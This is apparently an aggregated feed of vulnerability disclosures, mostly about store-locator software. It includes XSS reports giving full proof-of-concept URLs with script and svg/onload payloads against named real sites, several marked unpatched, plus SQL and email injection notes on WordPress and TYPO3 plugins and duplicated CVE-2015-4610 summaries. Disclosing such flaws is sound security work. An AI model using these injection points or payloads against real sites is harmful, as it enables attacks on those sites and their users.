Cisco Releases Security Updates

Cisco has released security updates to address vulnerabilities in multiple products. Exploitation of these vulnerabilities could allow a remote attacker to create a denial-of-service condition. US-CERT encourages users and administrators to review the following Cisco Security Advisories and apply...

tdcanadatrust.com XSS vulnerability

Vulnerable URL: https://www.tdcanadatrust.com/francais/service-a-la-clientele/contactez-nous/localisateur-de-succursales/index.jsp?LOC=frCAtransitNumber=8609759922searchBy=8957265151=Branch=8271038032=3157199736=Canada=mapAndList=adresse%20ou%20n%C2%BA%20de%20transitx';%20prompt/XSSPOSED/;%20//...

bbva.es XSS vulnerability

Vulnerable URL: http://www.bbva.es/general/localizador-oficinas/ubicacion-mapa.jsp?lat=43.242268=-2.9253712/;alert%28%27XSSPOSED%27%29;/a=P Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 12:18 GMT Vulnerability type:| XSS Vulnerability status:...

icaa.cc XSS vulnerability

Vulnerable URL: http://www.icaa.cc/facilitylocator/facilitylocator.asp?Zip=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 871760 Googl...

WordPress Ajax Store Locator 1.2 - SQL Injection Vulnerability

No description provided by source...

fivebelow.com XSS vulnerability

Vulnerable URL: http://www.fivebelow.com/store-locator?locationSearchValue=%22%3E%3Csvg/onload=prompt%28%27XSSPOSED%27%29%3E=20 Details: Description| Value ---|--- Patched:| Yes, at 29.11.2015 Latest check for patch:| 29.11.2015 14:03 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

truedentaldiscounts.com XSS vulnerability

Vulnerable URL: http://www.truedentaldiscounts.com/tddsearch/storelocatorresults.php?lat=39.2046386=-77.2290193=20876=%3C/script%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E0=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

turningpointpropellers.com XSS vulnerability

Vulnerable URL: http://turningpointpropellers.com/DEALERLOCATOR/storelocatorresults.php?lat=37.9992175=-97.0000248=8636-8692%2520Co%2520Rd%2520576%252C%2520Potwin%252C%2520KS%2520=%3C/script%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Late...

arora-design.co.uk XSS vulnerability

Vulnerable URL: http://www.arora-design.co.uk/storelocator/storelocatorresults.php?lat=56.002342=-3.820717=Fk1+4qb=%3C/script%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 09:08 GMT...

Wordpress Plugin Store Locator Plus 4.2.23 Email Injection

如果我们拥有有效的“钥匙”就可以发送邮件给任何人File: store-locator-le\include\send-email.phpif !wpverifynonce$REQUEST'valid','em' die; $messageheaders = "From: "$GET'emailname'"...

wirelesswave.ca XSS vulnerability

Vulnerable URL: http://www.wirelesswave.ca/stores/store-locator.asp?AddressInput=T0L 0X0" Details: Description| Value ---|--- Patched:| Yes, at 22.11.2017 Latest check for patch:| 22.11.2017 14:54 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 539891 Google...

carecredit.com XSS vulnerability

Vulnerable URL: http://www.carecredit.com/doctor-locator/results/Vision/Eye-Exams-Eye-Glasses/LA-QUINTA-CA/?Name="=25=61 Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 14:13 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

carecredit.com XSS vulnerability

Vulnerable URL: http://www.carecredit.com/doctor-locator/results/xss/?City==MN1"=10=29 Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 14:13 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 22126 Google Pageran...

carecredit.com XSS vulnerability

Vulnerable URL: http://www.carecredit.com/doctor-locator/results/45645ee/?City==MN1"=10=29 Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 14:13 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 22126 Google...

TYPO3 Store Locator Extension SQL Injection Vulnerability

TYPO3 is a free and open source content management system, Store Locator is a map locator extension plugin that displays store information. A SQL injection vulnerability exists in TYPO3 Store Locator, which allows remote attackers to exploit the vulnerability to submit specially crafted SQL queri...

CVE-2015-4610

SQL injection vulnerability in the Store Locator locator extension before 3.3.1 for TYPO3 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors...

Sql injection

SQL injection vulnerability in the Store Locator locator extension before 3.3.1 for TYPO3 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors...

CVE-2015-4610

SQL injection vulnerability in the Store Locator locator extension before 3.3.1 for TYPO3 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors...

CVE-2015-4610

The vulnerability affects the TYPO3 Store Locator extension (locator) prior to version 3.3.1 . It is a SQL injection flaw that allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors. The issue originates from the extension’s handling of database queries, leadi...

PT-2015-6637

Name of the Vulnerable Software and Affected Versions TYPO3 Store Locator locator extension versions prior to 3.3.1 Description The issue allows remote authenticated users to execute arbitrary SQL commands. Recommendations For versions prior to 3.3.1, update to version 3.3.1 or later to resolve t...